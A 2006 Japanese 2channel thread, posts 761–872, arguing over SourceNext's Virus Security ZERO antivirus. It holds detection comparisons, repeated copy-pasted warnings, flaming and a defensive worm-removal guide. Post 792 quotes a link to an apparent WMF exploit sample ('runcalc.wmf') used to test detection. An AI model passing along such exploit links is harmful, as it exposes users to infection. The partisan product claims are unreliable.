「だれがVSの保障できる安全性を超えた行動をとるかわからないからです」
「まして、社会性や常識いまいちな学生のいる学校でのVS購入はお控えください」
いざというときの安全が必要な人や企業は、検出力が高いそれなりのソフトをご使用ください
以上のVSの限界のある安全性に同意の方のみ、お買い上げください

761 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:39:41








  このソフトにはセキュリティソフトに最も求められている部分、




          そう、安全が足りない!!!!










          そして、ソースには誠意が足りない!






762 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:40:46
スパイウェアにも未対応だしね
スパイウェアにも対応していると勘違いして購入すると逆に危険なんじゃないかと思う

763 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:53:53
ウイルスセキュリティは、市場に絶大な脅威を与えている。
ゆえに他社から非常におそれられている。
そのため、他社の雇った工作員が各スレで暗躍している。
これは、ウイルスセキュリティにつきまとう「宿命」でもある。

764 :754:2006/09/11(月) 00:54:59
>>759>>760
チラ裏として書いておけばうまく収まると思うお (^ω^;)



765 :名無しさん@お腹いっぱい。:2006/09/11(月) 00:59:22
>市場に絶大な脅威
たしかに低検出だってことだまっての安売りは脅威だよな。良品の売りが減ってしまう
日本のセキュリティソフトが世界レベルの半分も行かないなんて、IT国の名折れだと思ってるよ
日本よりITが進んでるインドの会社だっていうから期待してたら
K7って無名な会社でしかも低検出で安全性に問題あり。マカフィーで安売りできなくなったからって
そこまでレベル落とすかって感じ
それだけに事実を指摘すると>>763

766 :名無しさん@お腹いっぱい。:2006/09/11(月) 01:01:16
マルチ商法のHP見た事ある人なら分かると思うが、
「利用者○百万人」とか将来性とかばかり書いていて、実態が分からないようになってるんだよな

767 :名無しさん@お腹いっぱい。:2006/09/11(月) 01:01:52
VSの使用上の注意
「VSは検出力や能力が低いので、ネットで行動制限が必要です」
「なお、企業などでの大量購入はお勧めできません」
「だれがVSの保障できる安全性を超えた行動をとるかわからないからです」
「まして、社会性や常識いまいちな学生のいる学校でのVS購入はお控えください」
いざというときの安全が必要な人や企業は、検出力が高いそれなりのソフトをご使用ください
以上のVSの限界のある安全性に同意の方のみ、お買い上げください

768 :名無しさん@お腹いっぱい。:2006/09/11(月) 01:02:09
>>761様ミ ☆

。.:*・゜从n^ヮ^)η゚・*:.。.ミ ☆
はっきり言って真夜中にPCの前で笑いましたミ ☆

訴えかける内容、行間の取り方といい
まったくもって最高であり
なんとなく、小泉首相張りの演説を聞いたようで
(´∇`)ケッサクでした.ミ ☆(ワラワラ

しかし、それにしても、このスレにお集まりになる
擁護派、アンチ派の論戦は凄いですねミ ☆

いつも、こっそりワクワクして見ていますミ ☆
(たまに書き込んだりもしますが、(^^;)

ということで、このZEROスレは
セキュリティ板の

「世界の中心でウィルスセキュリティーを叫ぶ」

そんな映画タイトルが浮かんできては
楽しくなっていますミ ☆(クス



769 :名無しさん@お腹いっぱい。:2006/09/11(月) 01:08:56
初心者のみなさんへ
初心者の人にはウイルスセキュリティはお勧めできません
理由はウイルスへの対応(検出能力)が他のソフトに比べて、低いからです
少々高いですが、有料の統合型セキュリティソフトをお勧めします
同じ感染したら駆除してくれるソフトでも、検出能力が低いと放置されてしまいます
ネットで何が危険なのか?わからない初心者こそ検出能力の高いソフトを使用してください
VSは感染したかどうか、その後どうするか、ネットでしてはいけないことをわかる中級者以上にお勧めします
上級者は無料とかのもっといいソフト使うと思いますけど

770 :754:2006/09/11(月) 01:21:41

http://computers.livedoor.com/detail?id=46163 (^ω^;)


771 :名無しさん@お腹いっぱい。:2006/09/11(月) 01:38:03
>>754
ノーガードの方が安いしなあ、しかも危険度はほとんど変わらない
まして、VSより遥かに高性能な無料アンチウイルスや
アンチスパイウェアと比べれば、ごみ同然

772 :名無しさん@お腹いっぱい。:2006/09/11(月) 02:38:34
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

773 :754:2006/09/11(月) 02:41:10

>>771
勘違いされてるのでは (^ω^;)

>>772
またでつか (^ω^;)

774 :名無しさん@お腹いっぱい。:2006/09/11(月) 06:41:02

・注意事項  
必要以上の馴れ合いは慎しんでください
暴言や第3者を不快にさせるような発言はやめましょう
悪質な削除要請や自己中心的な発言はひかえましょう
人間的モラルやルール・ネットマナーに反した発言はやめましょう
犯罪の恐れがあるものをみつけたら通報しましょう。
都道府県警察本部のハイテク犯罪相談窓口
http://www.npa.go.jp/cyber/soudan.htm

775 :名無しさん@お腹いっぱい。:2006/09/11(月) 07:04:37
マジな話、ZERO使ってましたが、あまりにここでの話題に不安になり、avastと
Zone Alarmを導入しました。多少動作が遅くなったけど、以前はノートン使って
ましたから、このくらいのソフトの方が安心できる。ということで、もう、このスレ
には来ないから、どうも、お世話になりました。

776 :名無しさん@お腹いっぱい。:2006/09/11(月) 10:13:04
XP使っていて、画面のプロパティのデザインタブの「ウィンドウとボタン」の項目をクラシックスタイルにしてるんだが、
ウイルスセキュリティZEROを入れてから、起動するたびに設定が初期値に戻るんだが、何とかならないのか

777 :名無しさん@お腹いっぱい。:2006/09/11(月) 12:44:43
イン┣¨ イン┣¨ イン┣¨ イン┣¨ イン┣¨ イン┣¨ イン┣¨ イン┣¨

                     γ~三ヽ
                     (三彡0ミ)
                     .从 ’ー’)< 777げt
                      ( ヽ ヽ
                  / ̄ ̄》 ̄ ̄\
   ;;:⌒);;:⌒)         |    ∪ ・ |∩ パオパオ〜
 ;.;:⌒);;.:⌒) ;;:⌒)≡≡   ⊂|       J \ノ
;;:⌒);;:⌒);;:⌒)≡≡≡=  ;;:⌒)ノ,,ノ ̄;;:⌒)\ゞ;;:⌒)


778 :名無しさん@お腹いっぱい。:2006/09/11(月) 12:47:02
ウィルス発見時の対処方法を ワーム WORM_RBOT.GEN に感染していた場合の
対処方法を転載します。
VSで駆除できない人が、オンラインスキャンなどでウィルス発見した場合にこうゆうことを
しなければいけないってことの参考に

<対応方法>
検出したファイルの削除。感染前にアンチウィルスが発見駆除した場合はこれで終了

<感染していた場合の対処> アンチウィルスソフトで発見駆除できなかった場合
@ワームのファイル名を特定 [lsass32.exe]
A検出したファイル名を記録 [lsass32.exe]
Bセーフモードで起動
Cメモリ上で実行されているツールを終了させる
 タスクマネージャー(CTRL+SHIFT+ESC)を起動
 [感染ファイル名.exe]のプロセスを終了。[lsass32.exe]
削除!
Dワームの自動起動設定を削除
 レジストリエディタ(regedit.exe)を起動
 ファイル名[lsass32.exe]の検索

 HKEY_CURRENT_USER\Software\Microsoft\Windows
\CurrentVersion\Run
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
\CurrentVersion\Run
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
\CurrentVersion\RunServices
 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
上記レジストリの値を削除!

E再起動
Fファイルを「削除」C:\WINDOWS\system32\lsass32.exe

779 :名無しさん@お腹いっぱい。:2006/09/11(月) 12:48:34
ホントVSは初心者用ですね

780 :名無しさん@お腹いっぱい。:2006/09/11(月) 12:52:27
>>778
VSを使うようなPC初心者がレジストリをいじれるとは到底思えないわけだが。

781 :名無しさん@お腹いっぱい。:2006/09/11(月) 13:08:55
×初心者用
×初心者向
○初心者ホイホイ

782 :名無しさん@お腹いっぱい。:2006/09/11(月) 13:13:13
セキュリティ選びの参考サイト

ttp://eazyfox.homelinux.org/Security/Beginner/beginner09.html

783 :名無しさん@お腹いっぱい。:2006/09/11(月) 13:57:56
初心者のみなさんへ
初心者の人にはウイルスセキュリティはお勧めできません
理由はウイルスへの対応(検出能力)が他のソフトに比べて、低いからです
少々高いですが、有料の統合型セキュリティソフトをお勧めします
同じ感染したら駆除してくれるソフトでも、検出能力が低いと放置されてしまいます
ネットで何が危険なのか?わからない初心者こそ検出能力の高いソフトを使用してください
VSは感染したかどうか、その後どうするか、ネットでしてはいけないことをわかる中級者以上にお勧めします
上級者は無料とかのもっといいソフト使うと思いますけど


784 :名無しさん@お腹いっぱい。:2006/09/11(月) 13:59:01
VSの使用上の注意
「VSは検出力や能力が低いので、ネットで行動制限が必要です」
「なお、企業などでの大量購入はお勧めできません」
「だれがVSの保障できる安全性を超えた行動をとるかわからないからです」
「まして、社会性や常識いまいちな学生のいる学校でのVS購入はお控えください」
いざというときの安全が必要な人や企業は、検出力が高いそれなりのソフトをご使用ください
以上のVSの限界のある安全性に同意の方のみ、お買い上げください


785 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:10:13
営業妨害ですよ

786 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:17:33

2ちゃんねる発の逮捕(書類送検)者
http://uguisu.skr.jp/recollection/2ch/

787 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:24:49
>>785
どこが「営業妨害」か言ってみろ



788 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:25:25
法人での導入をご検討のお客様へ
「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります。

789 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:26:48
2chの逮捕者、威力業務妨害はいるけど
事実を述べて逮捕されるのっていたか?


790 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:29:27
706 :名無しさん@お腹いっぱい。:2006/09/10(日) 21:40:31
「一般人」の使用では、問題ない。
怪しいサイトに突撃するパソオタ・エロマニアには、不満だろうけど。

どこまでが一般人の使用かわからない初心者さまは、別のソフトをお使いください

791 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:33:17
法人での導入をご検討のお客様へ
「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります。
企業や学校の中で、怪しいサイトに突撃するパソオタ・エロマニアが絶対にいないと言える企業会社のみ
ご購入ください。VSの安全範囲から外れた(VS未対応ウイルスがいるとこ)をした場合は
感染して放置状態で被害が増えても、「効力につきましては、お客様の自己責任でお願いいたします」

792 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:42:24
109 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/09/11(月) 09:34:24
>>108
ウイルスセキュリティはこれ検出しないのか?
p://grin.flagbind.jp/runcalc.wmf

793 :名無しさん@お腹いっぱい。:2006/09/11(月) 14:51:43
法人での導入をご検討のお客様へ
>>792のような2chに張られたurlを簡単に踏んではいけない
ということを知らないネット初心者や
あえて踏むようなセキュリティ意識のない人が一人もいないと言い切れる企業のみご購入ください
「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります。

794 :名無しさん@お腹いっぱい。:2006/09/11(月) 15:30:18
アンチばかりでつまらないな
もっと擁護派は頑張ってくれ

795 :名無しさん@お腹いっぱい。:2006/09/11(月) 16:59:23
ウイルスセキュリティZERO 簡易ウイルス検知テストレポート
某アンチウイルスソフトの上記最新情報を読んできた(嵐がくるのでURL書かない。くぐってくれ
あまりのことにわろたw
「検知したはずのワームにも感染してしまっている状況です」

796 :名無しさん@お腹いっぱい。:2006/09/11(月) 19:22:50
偏執なアンチ工作員は、相手にしない方がよい

相手に責任転嫁する根性は、一生治らないから

797 :名無しさん@お腹いっぱい。:2006/09/11(月) 19:32:00
初心者の方々へ

ここのスレにはウイルスセキュリティを適正に使用しなかったので
自分のパソコンをおかしくしてしまった輩がいるようです。
自業自得ですが、
ウイルスセキュリティとその販売元のソースネクストに対して、
恨みを晴らそうとめちゃくちゃな書き込みを続けています。

ウイルスセキュリティは、普通の方なら、
常識的な使用について、十分な性能を有しています。


798 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:00:33
十分な性能を有しています

  なんでマイクロソフト非公認

か答えろ

799 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:09:49
初心者のみなさんへ
初心者の人にはウイルスセキュリティはお勧めできません
理由はウイルスへの対応(検出能力)が他のソフトに比べて、低いからです
少々高いですが、有料の統合型セキュリティソフトをお勧めします
同じ感染したら駆除してくれるソフトでも、検出能力が低いと放置されてしまいます
ネットで何が危険なのか?わからない初心者こそ検出能力の高いソフトを使用してください
VSは感染したかどうか、その後どうするか、ネットでしてはいけないことをわかる中級者以上にお勧めします
上級者は無料とかのもっといいソフト使うと思いますけど

800 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:15:55
>ウイルスセキュリティは、普通の方なら、
>常識的な使用について、十分な性能を有しています。
これが信者(儲けの権化)の言い分なわけですが。これは言葉のトリックがかくされています
まず、初心者に「普通」や「常識的」な利用がどこまでかなんてわかるわけない
ましてVSは検出力が低い。感染しても対応してないウイルスだと放置になる
だけど、初心者には感染したかもわからない。
だから、初心者は検出能力が高いと統合セキュリティソフトをつかいましょう
てか。さ>>797
結局、信者から見ても能力と安全性に限界があると認定されてるから、普通だの常識だのの
あいまいな区分で低能力でも大丈夫なんだとしかいえないんだよな

801 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:24:13
法人での導入をご検討のお客様へ
「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります。
企業や学校の中で、怪しいサイトに突撃するパソオタ・エロマニアが絶対にいないと言える企業会社のみ
ご購入ください。VSの安全範囲から外れた(VS未対応ウイルスがいるとこ)をした場合は
感染して放置状態で被害が増えても、「効力につきましては、お客様の自己責任でお願いいたします」
個人で利用の方も、怪しいサイトに入らないなどのネットでの行動に責任もってできない方は
お勧めできません

802 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:35:14
>>769>>770
信者あほ?よく読めよ。お前ら信者は自分たちで
>ウイルスセキュリティは、普通の方なら、常識的な使用について、十分な性能を有しています。
とか「危ないサイトいくやつにはVSは無理」とか書いているんだろ
VSで保障される安全性は限界があって(他のソフトに比べて激しくウイルスの検出力が低い)
使用者をえらぶと言っているんだろ?
だから、こっちはVSは安全性に限界あるから、ネットのことしらない初心者や多数が使用する企業はやめておきましょうと言っている
おまいら信者があいまいな言い方してるのをはっきり書いてるだけだ
信者のかいてることを元にしているのを、何言ってるんだ?


803 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:45:51
初心者の方々へ

ここのスレにはウイルスセキュリティを適正に使用しなかったので
自分のパソコンをおかしくしてしまった輩がいるようです。
自業自得ですが、
ウイルスセキュリティとその販売元のソースネクストに対して、
恨みを晴らそうとめちゃくちゃな書き込みを続けています。

ウイルスセキュリティは、普通の方なら、
常識的な使用について、十分な性能を有しています。


約一名、ものすごい粘着アンチがいますが、
カレーにスルーしましょう

804 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:50:04
>>803
>ウイルスセキュリティは、普通の方なら、
>常識的な使用について、十分な性能を有しています。
あいまいな表現かつ、VSの安全性は他のソフトより劣っているとの告白おつかれ

805 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:54:05
うぇ 信者 最悪
>ここのスレにはウイルスセキュリティを適正に使用しなかったので
>自分のパソコンをおかしくしてしまった輩がいるようです。
単にVS未対応のウイルスとかに遭遇したって ことだろ
ま、信者から見れば安全性に限界のあるVS使ってながら、感染することしたのが悪いっていうんだけど
ま、安いだけにその程度だな


806 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:55:06

・注意事項  
必要以上の馴れ合いは慎しんでください
暴言や第3者を不快にさせるような発言はやめましょう
悪質な削除要請や自己中心的な発言はひかえましょう
人間的モラルやルール・ネットマナーに反した発言はやめましょう
犯罪の恐れがあるものをみつけたら通報しましょう。
都道府県警察本部のハイテク犯罪相談窓口
http://www.npa.go.jp/cyber/soudan.htm

2ちゃんねる発の逮捕(書類送検)者
http://uguisu.skr.jp/recollection/2ch/

807 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:04:57
ウイルスセキュリティ、快調にプロテクトしてくれるよ!

808 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:14:10
こんなとこで、お客候補だの、企業だの呼びかけても、
誰もこないよ・・・
アンチもバカだね。
そんなにネガティブしたいなら
街頭演説でもやってこいやwww

809 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:18:55
事実を書いて会社の利益を損なうとこまりますよ〜
低検出なのは出さないようにしてるんですから

810 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:20:27
>>808
誰も来ない割りに信者が必死だw

811 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:22:26
>>809
意味わかんね?


812 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:22:45

水入りの取りきめ


擁護はVSの宣伝しない
アンチは、感情的にVSを叩かない

今後、このスレはVSを実際に使っている本当のユーザーだけの
情報交換の場とする


それ以外の者は、放置スレ「2006スレ」に移ること



よいかな?

皆の衆!


813 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:26:41
>VSを実際に使っている本当のユーザーだけ
VS使ってたら感染しましたって報告するためのスレかw

814 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:30:00
しつこい、
本当に粘着度がすごいな・・・


>>812
やむを得ないが、承知した。
我々、愛好家の主流派は、
別にひそかに持っている本スレに移ることにする。
それ以外の分派については責任を持たないが・・・・

では、さらばだ!

815 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:30:41
あほんだら

ここは、LANや個人のPCへの侵入、トロイ、ウィルス、スパイウェアなど、
様々なネット上の危険や、その対策方法を語りあうための板です。

816 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:32:26
なんでマイクロソフト非公認

か答えろ


817 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:35:08
>>814
自演おつ
勝手なこといってあほか
単に回答不能になって逃亡しただけだな


818 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:39:13
>>812は間違ってる
>アンチは、感情的にVSを叩かない
アンチはそもそも検出力というデータをもとにVSの問題点指摘してるだけだ
そして信者は「十分だ」「そんなに悪くないと思う」とか データのない希望的観測だけの発言
まして、答えられなくなるとアンチの人格否定
感情的になってるのは信者のほう
証拠に質問くるとスルーするか逃げ出す

819 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:41:00
フリーのAntiVir, Avast, AVGはVB100%に合格している
ウイルスセキュリティはどこ行った?

VB100%, Jun 2006, Windows XP (ttp://www.virusbtn.com/)

合格 (19)
Alwil (avast!), Authentium, Avira (AntiVir), Computer Associates (Vet), Doctor Web, Eset,
F-Secure, Fortinet, GDATA, Grisoft (AVG), Kaspersky, McAfee, MicroWorld, Microsoft OneCare,
NWI, Norman, SOFTWIN (BitDefender), Sophos, Symantec

不合格 (7)
AEC, AhnLab, CAT QuickHeal, Central Command, FRISK, Hauri, VirusBuster

不参加 (14)
Aladdin Knowledge Systems, ArcaBit, Avira (formerly H+BEDV), BLC,
Computer Associates (eTrust/InoculateIT), GeCAD, Ggreat, Ikarus, Leprechaun,
Panda, Proland Software, Secure Resolutions, Trend Micro, Unasoft

計 40 (SourceNext, Kingsoft は登録されていません)

820 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:41:42
>>817-818
2006スレに行ってくれ

821 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:43:50
いつまで販売を続けるつもりですか?

822 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:43:58
>>820
おまえだれ?何様?

823 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:44:30
さあね、知らないね、急いでくれよ

824 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:45:57
なんでマイクロソフト非公認

か教えてよ


825 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:47:17
苦情はこないのですか

826 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:47:28
どこのスレもアンチと信者のやり取りがあるよ
通常、信者はソフトのいいとこを擁護してアンチは問題点を指摘する
普通はデータつきで
信者はアンチに対抗できるデータがなく擁護し切れなかっただけ
負けた信者のためにアンチに逃げろって何?


827 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:48:05
>>823
だが、断る

828 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:48:24
欠陥品は出さないでください


829 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:50:07
VSで対応してないウイルスに感染したら、使用者のせいですか?

830 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:51:05
>>829
そうです

831 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:53:10
どの製品でも同じだがな

832 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:53:21
VSを擁護する人がよく使う
普通の人、通常の使い方ってなんですか?説明してください
VSの会社は使う人を制限しているんですか?普通の人以外は使っちゃいけないんですか?


833 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:54:26
>>832
メーカーに聞けばいいだろ?そんなこと

834 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:54:39
>>830>>831
わかりました。では自己責任ってことですね
なら対応ウイルスが多い他のソフトにします


835 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:56:25
>>834
ネットは、みんな自己責任だよ?不安なら高くて安心できるソフトを使え

836 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:56:40
>>833
メーカーのHPやサポートメールで聞きましたが
使う人の制限などしてないそうです。規約に同意できたひとなら良いそうです
普通の人、通常の使い方って言い方も載っていませんでした。だから書いた人に聞いています


837 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:57:05
インドの山奥にいる連中が
日本の暴露ウイルスに即座に対応するわけが無い

838 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:57:37
>>835
そうします。安全なほうがいいので


839 :名無しさん@お腹いっぱい。:2006/09/11(月) 21:58:39
>規約に同意できたひとなら良いそうです

じゃあ、使えば?決めるのは本人なんだし。

840 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:00:41
実際、ここで聞いて使うかどうかマトモに決めるヤツっていないと思うが・・・・

たぶん、聞いているヤツは、自演だな・・・

841 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:02:24
>>839
そうなんですが。
擁護されている方が普通の人の通常の使い方なら十分な機能と書かれているので
使用するならどこまでが安全なのか知りたいです
ソースネクストのHPにも載ってないのでわかりません

842 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:03:04
なるほど、痛い奴だな

843 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:05:25
>>840
ここで聞いても使えるかどうかの情報は入らないんですか?
そうなんですか

844 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:07:08
>>843
使わないんじゃないの?

845 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:07:19
わかりました。他のアンチウイルスソフトのスレで情報聞いて決めることにします
このスレではウイルスセキュリティの情報のためのスレだと思ったんですが

846 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:07:20
結局一般的とか通常とか普通とか常識的とか曖昧な言葉で逃げるだけ
どこまでがその範疇なのか明確に呈示されたことはない
ちなみにExploit系は完全非対応なのでウイルスセキュリティを使ってる人は気をつけてね

847 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:09:37
>>844
情報はできるだけたくさん集めたかったんです
値段の安さは魅力的でしたから
ではお世話になりました

848 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:09:44
ウイルス対応数が少ないのに初心者向けというのがイマイチよく分からない
何をやらかすか分からない初心者だからこそ、ウイルス対応数が多いアンチウイルスを使った方がいいんじゃないのか?

849 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:11:33
初心者にとっては、ゼイタクというハナシもあるな

850 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:12:10
>>849
ねぇよタコ

851 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:13:28
人それぞれだろ?
価値観の相違だな

852 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:13:45
>初心者にとっては、ゼイタクというハナシもあるな
この板でその話でるのはノートンとウイルスバスター


853 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:14:49
お前ら、初心者にすすめるソフトは?スレでも立てて、そっちでやれや

854 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:15:22
>>848
初心者ならウイルス対応が少なくてもわからないから初心者向けなんだろう
感染したってわかりはしないってこと

855 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:18:33
803 :名無しさん@お腹いっぱい。:2006/09/11(月) 20:45:51
>初心者の方々へ
   >ウイルスセキュリティは、普通の方なら、
>常識的な使用について、十分な性能を有しています。
これ書いたやつはきちんと説明できる?

856 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:19:54
さっき質問してた厨か?まだいたのか

857 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:21:18
http://www.lib.city.minato.tokyo.jp/MNWLIB/servlet/search.detail_list?tilcod=1000000063856

http://www2.library.shinjuku.tokyo.jp/cgi-bin/detail?biblioid=0201496384&type=0&count=10&before=select

http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=003978566&RTNPAGE=/search2.html

http://www.lib.adachi.tokyo.jp/ADCLIB/servlet/search.detail_list?tilcod=0510001371

http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=004282650&RTNPAGE=/search2.html


858 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:22:53
>>856>>803
書いたやつ。説明ぐらいしてやれよ
無責任だな

859 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:25:10
俺もVSのホームページ見てきたが
>普通の方なら常識的な使用について、十分な性能を有しています
なんて書いてなかったな


860 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:26:37

 全 て 自 己 責 任 で す の で

    好 き な も の を 使 え ば 良 い






と言いたい所だけど、暴露ウイルス全盛期の今、VS入れてるやつとはメールもメッセもしない。

861 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:26:49
つ 信者の希望的観測

862 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:36:18
信者の発言あてにならねぇな

863 :名無しさん@お腹いっぱい。:2006/09/11(月) 22:45:54
みんなわくわく地盤沈下

864 :名無しさん@お腹いっぱい。:2006/09/12(火) 00:52:49
重複スレなのでどちらかを削除したほうが良いと思われます
同じソフトの話なのに分かれていては情報がつかみづらい

http://pc8.2ch.net/test/read.cgi/sec/1157290211/
こちらが本スレだと思いますが現在はZEROの方が本スレの流れですね

上記スレ削除依頼でよろしいでしょうか?

865 :名無しさん@お腹いっぱい。:2006/09/12(火) 00:57:55
経験上この程度で削除依頼しても受け入れられる事は無い

866 :名無しさん@お腹いっぱい。:2006/09/12(火) 00:58:14


ok!

どうせZEROへのシフトで200Xシリーズはなくなるだろうしね

867 :名無しさん@お腹いっぱい。:2006/09/12(火) 01:14:21
では、保守カキコ

[公 式] http://sec.sourcenext.info/
[サポート] http://sec.sourcenext.info/support/vs.html
[製品情報] http://sec.sourcenext.info/products/vs/


868 :名無しさん@お腹いっぱい。:2006/09/12(火) 01:17:58
■過去スレ
ttp://pc.2ch.net/test/read.cgi/sec/1064846125/ (Part1)
ttp://pc.2ch.net/test/read.cgi/sec/1068474006/ (Part2)
ttp://pc.2ch.net/test/read.cgi/sec/1069940448/ (Part3)
ttp://pc.2ch.net/test/read.cgi/sec/1072845180/ (Part4)
ttp://pc.2ch.net/test/read.cgi/sec/1073633293/ (Part5)
ttp://pc3.2ch.net/test/read.cgi/sec/1076215806/ (Part6)
ttp://pc5.2ch.net/test/read.cgi/sec/1082313491/ (Part7)
ttp://pc5.2ch.net/test/read.cgi/sec/1090258176/ (Part8)
ttp://pc5.2ch.net/test/read.cgi/sec/1095983778/ (part9)
ttp://pc5.2ch.net/test/read.cgi/sec/1101363318/ (Part10)
ttp://pc8.2ch.net/test/read.cgi/sec/1106488109/ (Part11)
ttp://pc8.2ch.net/test/read.cgi/sec/1112893941/ (Part12)
ttp://pc8.2ch.net/test/read.cgi/sec/1119543099/ (Part13)
ttp://pc8.2ch.net/test/read.cgi/sec/1121074993/ (Part14)
ttp://pc8.2ch.net/test/read.cgi/sec/1129064808/ (Part15)
ttp://pc8.2ch.net/test/read.cgi/sec/1134682243/ (Part16)
ttp://pc8.2ch.net/test/read.cgi/sec/1136881004/ (Part17)
ttp://pc8.2ch.net/test/read.cgi/sec/1141636441/ (Part18)
ttp://pc8.2ch.net/test/read.cgi/sec/1145847961/ (Part19)
ttp://pc8.2ch.net/test/read.cgi/sec/1150039961/ (Part20)
ttp://pc8.2ch.net/test/read.cgi/sec/1150533882/ (Part21)
ttp://pc8.2ch.net/test/read.cgi/sec/1153751008/ (Part22)
ttp://pc8.2ch.net/test/read.cgi/sec/1155768807/ (Part23)
ttp://pc8.2ch.net/test/read.cgi/sec/1157290211/ (Part24)

869 :名無しさん@お腹いっぱい。:2006/09/12(火) 02:09:59
この頃なんでこんなに賑やかなの?

870 :名無しさん@お腹いっぱい。:2006/09/12(火) 02:53:09
常に敵がいないと不安なんだよ

871 :名無しさん@お腹いっぱい。:2006/09/12(火) 02:54:56
331 名前:名無しさん@お腹いっぱい。 :2006/09/07(木) 18:19:05
期限あと9日だけど迷う、金額はいいけど検知率がフリーより悪いってのが・・・・・・


332 名前:名無しさん@お腹いっぱい。 :2006/09/07(木) 22:04:03
>>331
そんなのウイルスセキュリティもじゃないか


333 名前:名無しさん@お腹いっぱい。 :2006/09/08(金) 02:45:07
そんなもんに金は払えないだろw


872 :名無しさん@お腹いっぱい。:2006/09/12(火) 05:50:51
ttp://coolier.sytes.net:8080/uptest/img/uptest_0087.jpg

